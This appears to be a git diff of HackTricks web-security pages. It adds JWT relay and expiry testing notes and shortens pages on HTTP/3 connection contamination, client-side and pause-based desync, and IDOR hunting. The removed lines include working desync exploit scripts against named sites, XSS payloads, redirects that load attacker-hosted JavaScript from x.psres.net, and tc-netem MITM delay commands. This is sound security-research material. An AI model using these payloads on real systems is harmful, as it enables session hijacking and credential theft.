@ -255,6 +257,21 @@ However, imagine a situation where the maximun length of the ID is 4 (0001-9999)
|
|||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
|
||||
### Other attacks
|
||||
|
||||
**Cross-service Relay Attacks**
|
||||
|
||||
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
|
||||
|
||||
- A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user's account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.
|
||||
|
||||
**Expiry Check of Tokens**
|
||||
|
||||
The token's expiry is checked using the "exp" Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user's JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the "exp" claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an "exp" claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool's -R flag.
|
||||
|
||||
- A security risk may be present if the application still validates the token, as it may imply that the token could never expire.
|
||||
|
||||
|
||||
### Tools
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
|
|
@ -14,57 +14,21 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**The content of this post was taken from** [**https://portswigger.net/research/http-3-connection-contamination**](https://portswigger.net/research/http-3-connection-contamination)\*\*\*\*
|
||||
**This is a summary of the post: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. Check it for further details!
|
||||
|
||||
Web browsers use [**HTTP connection coalescing**](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), which lets them **reuse** a single **HTTP/2+** **connection** for requests going to **different websites**, provided that the sites **resolve to the same IP** address and use a TLS certificate valid for both hostnames.
|
||||
Web browsers can reuse a single HTTP/2+ connection for different websites through [HTTP connection coalescing](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), given shared IP addresses and a common TLS certificate. However, this can conflict with **first-request routing** in reverse-proxies, where subsequent requests are directed to the back-end determined by the first request. This misrouting can lead to security vulnerabilities, particularly when combined with wildcard TLS certificates and domains like `*.example.com`.
|
||||
|
||||
**First-request routing** is a dangerous reverse-proxy behaviour where the **proxy analyses the first request** on a connection to work out **which back-end end** to route it to, and then **sends** all **subsequent requests** on that connection to the **same back-end**.
|
||||
For example, if `wordpress.example.com` and `secure.example.com` are both served by the same reverse proxy and have a common wildcard certificate, a browser's connection coalescing could lead requests to `secure.example.com` to be wrongly processed by the WordPress back-end, exploiting vulnerabilities such as XSS.
|
||||
|
||||
**Connection coalescing and first-request routing do not play well together**. For example, imagine secure.example.com and wordpress.example.com are both sat behind a reverse proxy using a certificate valid for \*.example.com:
|
||||
To observe connection coalescing, Chrome's Network tab or tools like WireShark can be used. Here's a snippet for testing:
|
||||
|
||||
```shell-session
|
||||
$ nslookup wordpress.example.com
|
||||
52.16.179.7 // reverse proxy that supports HTTP/2 and does first-request routing
|
||||
|
||||
$ nslookup secure.example.com
|
||||
52.16.179.7 // same reverse proxy
|
||||
|
||||
$ openssl s_client -connect x.portswigger-labs.net:443
|
||||
subject=/CN=*.example.com // wildcard TLS certificate
|
||||
```
|
||||
|
||||
If a browser tries to send a **request to wordpress.example.com** **followed by secure.example.com**, browser connection coalescing will force **both requests down a single connection** to the front-end. First-request routing will result in the **request to secure.example.com incorrectly being routed to the WordPress back-end**. This means that if you find [XSS](https://portswigger.net/web-security/cross-site-scripting) on wordpress.example.com, you can use it to compromise secure.example.com!
|
||||
|
||||
```javascript
|
||||
// create HTTP/2+ connection
|
||||
fetch('https://wordpress.example.com/', {credentials: 'include'})
|
||||
|
||||
// connection coalescing will force this down the same connection...
|
||||
// ...leading to the front-end misrouting it to WordPress
|
||||
// the browser thinks our injected JS is coming from secure.example.com
|
||||
// exposing saved passwords, cookies, etc.
|
||||
location='https://secure.example.com/plugin/x?q=<script>stealPasswords()'
|
||||
```
|
||||
|
||||
You can **explore connection coalescing for yourself** by using the **Timing graph under the Network tab in Chrome's developer tools** (or using WireShark if you're a masochist). Issue request pairs using fetch() and see if the graph shows time spent on 'Initial connection' for the second request, and if the Connection ID column matches:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
The threat is currently limited due to the rarity of first-request routing and the complexity of HTTP/2. However, the proposed changes in HTTP/3, which relax the IP address match requirement, could broaden the attack surface, making servers with a wildcard certificate more vulnerable without needing a MITM attack.
|
||||
|
||||
I haven't invested the time required to explore this threat in depth or scan for it in the wild as I believe it's currently rare for two reasons. Firstly, first-request routing is relatively uncommon and HTTP/2's implementation complexity means there's only a small pool of unique HTTP/2 servers relative to HTTP/1.1. Secondly, connection coalescing means HTTP/2 servers performing first-request routing may intermittently break for genuine visitors, so the owners may end up fixing the vulnerability without attacker encouragement.
|
||||
|
||||
That said, it's not all bad news for attackers. **HTTP/3 proposes** [**removing the requirement for an IP address match**](https://www.rfc-editor.org/rfc/rfc9114.html#name-connection-reuse)**, which will expose everyone with a front-end that uses first-request routing and has a certificate valid for multiple hosts**.
|
||||
|
||||
This also creates a second risk which isn't related to first-request routing - it means a **compromised server with a wildcard certificate no longer requires an MITM to exploit**. In effect, this greatly increases the pool of malicious actors who could profit from it.
|
||||
|
||||
To avoid these risks before they become a reality, ensure your reverse proxies don't perform first-request routing. You can test for this manually in Repeater by enabling HTTP/1 and HTTP/2 connection reuse, and also scan for it using the 'Connection-State' attack in [HTTP Request Smuggler](https://github.com/PortSwigger/http-request-smuggler). Also, be aware that while wildcard TLS certificates have never been ideal, HTTP/3 means a compromised server with a wildcard certificate can now be used to attack sibling domains without an active MITM.
|
||||
|
||||
These new threats continue the ongoing trend of web infrastructure descending into a heavily intertwined mess where a weakness in any individual site has numerous non-obvious knock-on effects on the security of the overall system. It'll be interesting to see how these risks play out in practice.
|
||||
Best practices include avoiding first-request routing in reverse proxies and being cautious with wildcard TLS certificates, especially with the advent of HTTP/3. Regular testing and awareness of these complex, interconnected vulnerabilities are crucial for maintaining web security.
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -13,320 +13,8 @@ Other ways to support HackTricks:
|
|||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
## CL.0/H2.0 browser-compatible desync
|
||||
|
||||
This vulnerability occurs when the **Content Length** (CL) header is being completely **ignored** by the **backend server**. Then, the back-end treats the **body** as the **start of the second request's method**. Ignoring the CL is equivalent to treating it as having a value of 0, so this is a CL.0 desync - a [known](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) but lesser-explored attack class.
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (1) (2).png>)
|
||||
|
||||
The attack was possible because the back-end server simply **wasn't expecting a POST request**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that this vulnerability is being **triggered** by a completely **valid**, specification-compliant **HTTP request**. This meant the **front-end has zero chance of protecting** against it, and it could even be triggered by a browser.
|
||||
{% endhint %}
|
||||
|
||||
The only **difference** between **CL.0** and **H2.0** is that the second one is using **HTTP2** (which has an implicit content-length header) but the **backend isn't using that either**.
|
||||
|
||||
## Client-Side Desync
|
||||
|
||||
Traditional desync attacks **poison** the **connection** between a **front-end and back-end** server, and are therefore impossible on websites that don't use a front-end/back-end architecture. These are **server-side desync** from now on. Most **server-side desyncs** can only be triggered by a **custom HTTP client issuing a malformed request.**
|
||||
|
||||
The ability for a **browser to cause a desync** enables a whole new class of threat called **client-side desync** (CSD).\
|
||||
A CSD attack starts with the **victim visiting the attacker's website**, which then makes their browser send **two cross-domain requests to the vulnerable website**. The **first** request is crafted to **desync the browser's connection** and make the **second request trigger** a harmful response, typically giving the attacker control of the victim's account.
|
||||
|
||||
### Detect
|
||||
|
||||
A CSD vector is a HTTP request with **two** **key** properties.
|
||||
|
||||
First, the **server must ignore the request's Content-Length (CL)**. This typically happens because the request either **triggered a server error**, or the server simply **wasn't expecting a POST request** to the chosen endpoint. Try targeting **static files** and **server-level redirects**, and triggering errors via **overlong-URLs**, and **semi-malformed** ones like /%2e%2e.
|
||||
|
||||
Secondly, the request must be **triggerable in a web-browser cross-domain**. Browsers severely restrict control over cross-domain requests, so you have limited control over headers, and if your request has a body you'll need to use the HTTP POST method. Ultimately you only **control** the **URL**, plus a few odds and ends like the **Referer header**, the **body**, and **latter part of the Content-Type.**
|
||||
|
||||
#### CL ignore testing
|
||||
|
||||
The way to test this missconfig is to **send 2 requests and smuggle one** in the **middle**. If the **smuggled** connection **affected** the response of the **second** **request**, it means that it's **vulnerable**:
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that you **cannot** test this vuln by just sending a **Content-Length bigger** than the one sent and **looking for a timeout** because some servers **respond** even if they **didn't receive the whole body**.
|
||||
{% endhint %}
|
||||
|
||||
It's important to note whether the **target website supports HTTP**/2. CSD attacks typically exploit HTTP/1.1 connection reuse and web **browsers prefer to use HTTP/2** whenever possible, so if the target **website supports HTTP/2 your attacks are unlikely to work**. There's one **exception**; some **forward proxies don't support HTTP/2** so you can exploit anyone using them. This includes corporate proxies, certain intrusive VPNs and even some security tools.
|
||||
|
||||
### Confirm
|
||||
|
||||
First, select a site to launch the attack from. This site must be **accessed over HTTPS** and located on a **different domain than the target**.
|
||||
|
||||
Next, ensure that you **don't have a proxy configured**, then browse to your attack site. Open the **developer tools** and switch to the **Network tab**. To help with debugging potential issues later, I recommend making the following adjustments:
|
||||
|
||||
* Select the **"Preserve log"** checkbox.
|
||||
* Right-click on the column headers and **enable the "Connection ID" column**.
|
||||
|
||||
Switch to the developer console and execute JavaScript to replicate your attack sequence using fetch(). This may look something like:
|
||||
|
||||
```javascript
|
||||
fetch('https://example.com/', {
|
||||
method: 'POST',
|
||||
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
|
||||
mode: 'no-cors', // ensure connection ID is visible
|
||||
credentials: 'include' // poison 'with-cookies' pool
|
||||
}).then(() => {
|
||||
location = 'https://example.com/' // use the poisoned connection
|
||||
})
|
||||
```
|
||||
|
||||
I've set the fetch mode **'no-cors'** to ensure Chrome **displays the connection ID** in the Network tab. I've also set **credentials: 'include'** as Chrome has [**two separate connection pools**](https://www.chromium.org/developers/design-documents/network-stack/preconnect) - one for requests with cookies and one for requests without. You'll usually want to exploit **navigations**, and those **use the 'with-cookies' pool**, so it's worth getting into the habit of always poisoning that pool.
|
||||
|
||||
When you execute this, you should see **two requests** in the Network tab with the **same connection ID**, and the **second** one should trigger a **404**:
|
||||
|
||||
![](<../../.gitbook/assets/image (158) (2).png>)
|
||||
|
||||
If this works as expected, congratulations - you've found yourself a client-side desync!
|
||||
|
||||
### Exploitation - Store
|
||||
|
||||
One option is to identify functionality on the target site that lets you **store text data**, and craft the prefix so that your victim's cookies, authentication headers, or password end up being **stored somewhere you can retrieve them**. This attack flow works [almost identically to server-side request smuggling](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), so I won't dwell on it.
|
||||
|
||||
### Exploitation - **Chain\&pivot**
|
||||
|
||||
Under normal circumstances, many classes of **server-side attack** can only be launched by an attacker with direct access to the target website as they **rely on HTTP requests that browsers refuse to send**, like **tampering** with **HTTP headers** - web cache poisoning, most server-side request smuggling, host-header attacks, User-Agent based [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type and numerous others.
|
||||
|
||||
The simplest path to a successful attack came from two key techniques usually used for server-side desync attacks: [**JavaScript resource poisoning via Host-header redirects**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), and using the [**HEAD method**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) to splice together a response with harmful HTML. Both techniques needed to be **adapted** to overcome some novel challenges associated with operating in the **victim's browser**.
|
||||
|
||||
## Exploit Examples
|
||||
|
||||
### Stacked HEAD example
|
||||
|
||||
* **Coloured exploit**
|
||||
|
||||
![](<../../.gitbook/assets/image (2) (3).png>)
|
||||
|
||||
* **JS exploit**
|
||||
|
||||
```javascript
|
||||
fetch('https://www.capitalone.ca/assets', {
|
||||
method: 'POST',
|
||||
// use a cache-buster to delay the response
|
||||
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
||||
credentials: 'include',
|
||||
mode: 'cors' // throw an error instead of following redirect
|
||||
}).catch(() => {
|
||||
location = 'https://www.capitalone.ca/'
|
||||
})va
|
||||
```
|
||||
|
||||
Explanation:
|
||||
|
||||
* **Abuse of CL.0** in /assets (it redirects to /assets/ and doesn't check the CL)
|
||||
* **Smuggle** a **HEAD** request (because HEAD responses still contains a content-length)
|
||||
* **Smuggle** a **GET** request whose **content** is going be **reflected** in the response with the payload.
|
||||
* Because of the **content-length of the HEAD** req, the **response** of this request will be the **body of the HEAD req**
|
||||
* Set **cors mode**. Normally this isn't done, but in this case the **response** of the server to de **initial** **POST** is a **redirect** that if **followed** the **exploit won't work**. Therefore, **cors mode** is used to **trigger** an **error** and **redirect** the victim with the **`catch`**.
|
||||
|
||||
### **Host header redirect + client-side cache poisoning**
|
||||
|
||||
* **JS exploit**
|
||||
|
||||
```javascript
|
||||
fetch('https://redacted/', {
|
||||
method: 'POST',
|
||||
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
||||
credentials: 'include'}
|
||||
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
||||
```
|
||||
|
||||
* A request to `/+webvpn+/` with a **different domain in the Host header** is answered with a **redirect** to `/+webvpn+/index.html` to that **domain** inside the Host header.
|
||||
* The location in the **second** request is set to `/+CSCOE+/win.js` in order to **poison** the **cache** of that `.js` file.
|
||||
* This request will be answered with the redirect of `/+webvpn+/` to the attackers domain with path`/+webvpn+/index.html`
|
||||
* The **cache** of **`win.js`** will be **poisoned** with a **redirect** to the **attackers** page, but also the **victim** will **follow** the redirect as it was assigned in the `location` variable and will end in the attackers web page.
|
||||
* The attacker will then **redirect** the **victim** to `https://redacted/+CSCOE+/logon.html`. This page will import `/+CSCOE+/win.js`. Whose **cache is a redirect** to the **attackers** server, therefore, the attacker can **respond with a malicious JS**.
|
||||
|
||||
The **victim** will **access** the page of the **attacker** **twice**, the first one it **expects a HTML** that redirect the victim back to `https://redacted/+CSCOE+/logon.html` and the second one it **expects javascript code** (the payload). A polyglot can be used to serve both responses in just one:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
||||
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
||||
```
|
||||
|
||||
### HEAD payload with chunked TE
|
||||
|
||||
When looking for CSD you can also **test semi-malformed** URLs like `/..%2f` or `/%2f`.
|
||||
|
||||
* **Coloured Exploit**
|
||||
|
||||
![](<../../.gitbook/assets/image (5) (2) (1).png>)
|
||||
|
||||
* **JS Exploit**
|
||||
|
||||
```javascript
|
||||
fetch('https://www.verisign.com/%2f', {
|
||||
method: 'POST',
|
||||
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
||||
credentials: 'include',
|
||||
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
||||
}}).catch(() => {
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
form.action = 'https://www.verisign.com/robots.txt'
|
||||
form.enctype = 'text/plain'
|
||||
let input = document.createElement('input')
|
||||
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
||||
input.value = ''
|
||||
form.appendChild(input)
|
||||
document.body.appendChild(form)
|
||||
form.submit()
|
||||
}
|
||||
```
|
||||
|
||||
* The page **`/%2f`** is accessed to **exploit** the **CL.0** vulnerability.
|
||||
* A **HEAD** request is smuggled using a **`Transfer-Encoding: chunked` header**.
|
||||
* This header is needed in this scenario because otherwise the **server refused to accept a HEAD request with a body**.
|
||||
* Then, the user sends a POST whose body contains the **end chunk of the the previous HEAD** request and a **new request that is smuggled** with **content** (the JS payload) that will be **reflected** in the response.
|
||||
* Therefore the browser will treat the **response to the HEAD** request as the **response to the POST request** which will also **contains** in the **body** response that **reflects** the **input** of the user in the second smuggled request.
|
||||
|
||||
### Host header redirect + RC
|
||||
|
||||
* **JS Exploit**
|
||||
|
||||
```html
|
||||
<script>
|
||||
function reset() {
|
||||
fetch('https://vpn.redacted/robots.txt',
|
||||
{mode: 'no-cors', credentials: 'include'}
|
||||
).then(() => {
|
||||
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
||||
})
|
||||
setTimeout(poison, 120) // worked on 140. went down to 110
|
||||
}
|
||||
|
||||
function poison(){
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
setTimeout(reset, 1000)
|
||||
}
|
||||
|
||||
function sendPoison(){
|
||||
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
||||
{
|
||||
method: 'POST',
|
||||
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
||||
mode: 'no-cors',
|
||||
credentials: 'include'
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
</script>
|
||||
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
||||
```
|
||||
|
||||
In this case, again, there is a **host header** **redirect** that could be used to **hijack** a **JS** import. However, this time the **redirect isn't cacheable**, so client-side **cache** **poisoning** isn't an option.
|
||||
|
||||
Therefore, the attack performed will make the **victim access the vulnerable page** in a tab and then, just **before** the page tries to **load a JS** file, **poison** the socket **smuggling connections** (3 in this case).\
|
||||
Because the **timing** has to be extremely **precise**, the attack is performed against a **new tab on each iteration** until it works.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Keep in mind that in this case `/meeting_testjs.cgi` was attacked because it **loads** a **Javascript** that is responding with a **404**, so it's not cached. In other scenarios where you try to attack a **JS that is cached** you need to wait for it to **disappear from the cache** before launching a new attack.
|
||||
{% endhint %}
|
||||
|
||||
Summary steps:
|
||||
|
||||
* Open a new window.
|
||||
* Issue a harmless request to the target to establish a fresh connection, making timings more consistent.
|
||||
* Navigate the window to the target page at /meeting\_testjs.cgi.
|
||||
* 120ms later, create three poisoned connections using the redirect gadget.
|
||||
* 5ms later, while rendering /meeting\_testjs.cgi the victim will hopefully attempt to import /appletRedirect.js and get redirected to x.psres.net, which serves up malicious JS.
|
||||
* If not, retry the attack.
|
||||
|
||||
## Pause-based desync <a href="#pause" id="pause"></a>
|
||||
|
||||
Pausing can also create new desync vulnerabilities by **triggering misguided request-timeout implementations**.
|
||||
|
||||
So, an attacker might send a request with **headers indicating that there is a body**, and then **wait** for the **front-end to timeout before sending the body**. If the front-end times out but **leaves the connection open**, the **body** of that request will be **treated as a new request**.
|
||||
|
||||
### Example: **Varnish**
|
||||
|
||||
Varnish cache has a feature called `synth()`, which lets you issue a **response without forwarding** the request to the back-end. Here's an example rule being used to block access to a folder:
|
||||
|
||||
```javascript
|
||||
if (req.url ~ "^/admin") {
|
||||
return (synth(403, "Forbidden"));
|
||||
}
|
||||
```
|
||||
|
||||
When processing a **partial request** that matches a synth rule, Varnish will **time out** if it receives no data for **15 seconds**. When this happens, it **leaves the connection open** for reuse even though it has only read half the request off the socket. This means that if the **client follows up with the second half** of the HTTP request, it will be interpreted as a **fresh request**.
|
||||
|
||||
To trigger a pause-based desync on a vulnerable front-end, start by sending your headers, promising a body, and then just wait. Eventually you'll receive a response and when you finally send send your request body, it'll be interpreted as a new request:
|
||||
|
||||
![](<../../.gitbook/assets/image (4) (3) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Apparently this was patched on the 25th January as [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html).
|
||||
{% endhint %}
|
||||
|
||||
### Example: **Apache**
|
||||
|
||||
Just like Varnish, it's vulnerable on **endpoints where the server generates the response itself** rather than letting the application handle the request. One way this happens is with server-level redirects: `Redirect 301 / /en`
|
||||
|
||||
### Server-side Exploitation <a href="#server" id="server"></a>
|
||||
|
||||
If the vulnerable server (Apache or Varnish in this case) is in the back-end, a **front-end** that **streams the request to the back-end** server (http headers in this case) **without buffering** the entire request body is needed.
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (3).png>)
|
||||
|
||||
In this case the attacker **won't receive the response timeout until he has send the body**. But if he knows the timeout this shouldn't be a problem.
|
||||
|
||||
Amazon's Application Load Balancer (ALB) will **stream the data of the connection as needed**, but if it **receives** the **response** to the half request (the timeout) **before** receiving the **body**, it **won't send the body**, so a **Race Condition** must be exploited here:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
There's an additional complication when it comes to **exploiting Apache behind ALB** - **both servers** have a default **timeout of 60 seconds**. This leaves an **extremely small time-window** to send the second part of the request. The RC attack was ultimately successful after 66 hours.
|
||||
|
||||
### MITM Exploitation
|
||||
|
||||
It's apparently **not possible to stop a request from the browser** in order to exploit a Pause-desync vulnerability. However, you could always **perform a MITM attack to pause a request** sent by the browser. Notice that this attack **doesn't rely on decrypting** any traffic.
|
||||
|
||||
The attack flow is very **similar to a regular client-side desync attack**. The user visits an attacker-controlled page, which issues a series of **cross-domain requests** to the target application. The **first HTTP** request is deliberately padded to be so **large** that the operating system **splits it into multiple TCP packets**, enabling an active **MITM to delay the final packet**, triggering a pause-based desync. Due to the padding, the **attacker** can **identify** which **packet to pause** simply based on the **size**.
|
||||
|
||||
From the client-side it looks like a regular client-side desync using the HEAD gadget, aside from the request padding:
|
||||
|
||||
```javascript
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
form.enctype = 'text/plain'
|
||||
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
|
||||
let input = document.createElement('input')
|
||||
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
|
||||
input.value = "x"
|
||||
form.append(input)
|
||||
document.body.appendChild(form)
|
||||
form.submit()
|
||||
```
|
||||
|
||||
On the attacker system performing the blind MITM, the delay was implemented using tc-NetEm:
|
||||
|
||||
```bash
|
||||
# Setup
|
||||
tc qdisc add dev eth0 root handle 1: prio priomap
|
||||
|
||||
# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
|
||||
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
|
||||
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
|
||||
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
|
||||
and 'cmp(u16 at 2 layer network lt 0x0514)' \
|
||||
flowid 1:3
|
||||
|
||||
# Delay flagged packets by 61 seconds
|
||||
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
||||
```
|
||||
|
||||
## **References**
|
||||
|
||||
* All the information of this post was taken from [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
**Check the post from [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -14,105 +14,7 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
|
||||
**Post taken from** [**https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489**](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
|
||||
# Unsuspected places to look for IDORs <a href="#8d15" id="8d15"></a>
|
||||
|
||||
## Don’t ignore encoded and hashed IDs <a href="#d6ce" id="d6ce"></a>
|
||||
|
||||
When faced with an encoded ID, it might be possible to decode the encoded ID using common encoding schemes.
|
||||
|
||||
And if the application is using a hashed/ randomized ID, see if the ID is predictable. Sometimes applications use algorithms that produce insufficient entropy, and as such, the IDs can actually be predicted after careful analysis. In this case, try creating a few accounts to analyze how these IDs are created. You might be able to find a pattern that will allow you to predict IDs belonging to other users.
|
||||
|
||||
Additionally, it might be possible to leak random or hashed IDs via another API endpoint, on other public pages in the application (profile page of other users, etc), or in a URL via referer.
|
||||
|
||||
For example, once I found an API endpoint that allows users to retrieve detailed direct messages through a hashed conversation ID. The request kinda looks like this:
|
||||
|
||||
```
|
||||
GET /api_v1/messages?conversation_id=SOME_RANDOM_ID
|
||||
```
|
||||
|
||||
This seems okay at first glance since the _conversation\_id_ is a long, random, alphanumeric sequence. But I later found that you can actually find a list of conversations for each user just by using their user ID!
|
||||
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
|
||||
This would return a list of _conversation\_ids_ belonging to that user. And the _user\_id_ is publicly available on each user’s profile page. Therefore, you can read any user’s messages by first obtaining their user\_id on their profile page, then retrieving a list of conversation\_ids belonging to that user, and finally loading the messages via the API endpoint /api\_v1/messages!
|
||||
|
||||
## If you can’t guess it, try creating it <a href="#b54f" id="b54f"></a>
|
||||
|
||||
If the object reference IDs seem unpredictable, see if there is something you can do to manipulate the creation or linking process of these object IDs.
|
||||
|
||||
## Offer the application an ID, even if it doesn’t ask for it <a href="#9292" id="9292"></a>
|
||||
|
||||
If no IDs are used in the application generated request, try adding it to the request. Try appending _id, user\_id, message\_id_ or other object reference params and see if it makes a difference to the application’s behavior.
|
||||
|
||||
For example, if this request displays all your direct messages:
|
||||
|
||||
```
|
||||
GET /api_v1/messages
|
||||
```
|
||||
|
||||
What about this one? Would it display another user’s messages instead?
|
||||
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
|
||||
## HPP (HTTP parameter pollution) <a href="#cb9a" id="cb9a"></a>
|
||||
|
||||
HPP vulnerabilities (supplying multiple values for the same parameter) can also lead to IDOR. Applications might not anticipate the user submitting multiple values for the same parameter and by doing so, you might be able to bypass the access control set forth on the endpoint.
|
||||
|
||||
Although this seems to be rare and I’ve never seen it happen before, theoretically, it would look like this. If this request fails:
|
||||
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
|
||||
Try this:
|
||||
|
||||
```
|
||||
GET /api_v1/messages?user_id=YOUR_USER_ID&user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
|
||||
Or this:
|
||||
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID&user_id=YOUR_USER_ID
|
||||
```
|
||||
|
||||
Or provide the parameters as a list:
|
||||
|
||||
```
|
||||
GET /api_v1/messages?user_ids[]=YOUR_USER_ID&user_ids[]=ANOTHER_USERS_ID
|
||||
```
|
||||
|
||||
## Blind IDORs <a href="#7639" id="7639"></a>
|
||||
|
||||
Sometimes endpoints susceptible to IDOR don’t respond with the leaked information directly. They might lead the application to leak information elsewhere instead: in export files, emails and maybe even text alerts.
|
||||
|
||||
## Change the request method <a href="#6597" id="6597"></a>
|
||||
|
||||
If one request method doesn’t work, there are plenty of others that you can try instead: GET, POST, PUT, DELETE, PATCH…
|
||||
|
||||
A common trick that works is substituting POST for PUT or vice versa: the same access controls might not have been implemented!
|
||||
|
||||
## Change the requested file type <a href="#8f78" id="8f78"></a>
|
||||
|
||||
Sometimes, switching around the file type of the requested file may lead to the server processing authorization differently. For example, try adding .json to the end of the request URL and see what happens.
|
||||
|
||||
# How to increase the impact of IDORs <a href="#45b0" id="45b0"></a>
|
||||
|
||||
## Critical IDORs first <a href="#71f7" id="71f7"></a>
|
||||
|
||||
Always look for IDORs in critical functionalities first. Both write and read based IDORs can be of high impact.
|
||||
|
||||
In terms of state-changing (write) IDORs, password reset, password change, account recovery IDORs often have the highest business impact. (Say, as compared to a “change email subscription settings” IDOR.)
|
||||
|
||||
As for non-state-changing (read) IDORs, look for functionalities that handle the sensitive information in the application. For example, look for functionalities that handle direct messages, sensitive user information, and private content. Consider which functionalities on the application makes use of this information and look for IDORs accordingly.
|
||||
|
||||
**Check the post: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -12,742 +12,7 @@
|
